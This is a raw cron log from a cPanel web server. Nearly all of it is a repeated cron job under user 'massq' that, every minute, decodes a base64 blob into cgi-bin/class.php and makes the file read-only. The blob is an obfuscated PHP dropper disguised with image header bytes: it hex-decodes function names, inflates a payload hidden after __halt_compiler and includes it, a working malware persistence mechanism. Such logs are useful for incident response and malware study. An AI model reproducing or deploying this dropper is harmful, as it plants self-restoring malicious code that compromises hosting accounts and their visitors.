Nov 15 05:43:01 server CROND[28729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:44:01 server CROND[28990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:45:01 server CROND[29266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:45:01 server CROND[29267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:45:01 server CROND[29268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:46:01 server CROND[29630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:47:01 server CROND[29901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:48:01 server CROND[30264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:49:01 server CROND[30552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:50:01 server CROND[30842]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 05:50:01 server CROND[30845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:50:01 server CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:50:01 server CROND[30846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:50:01 server CROND[30847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:51:01 server CROND[31174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:52:01 server CROND[31581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:52:01 server CROND[31582]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:53:01 server CROND[31972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:54:01 server CROND[32424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:55:01 server CROND[32702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:55:01 server CROND[32703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:55:01 server CROND[32704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
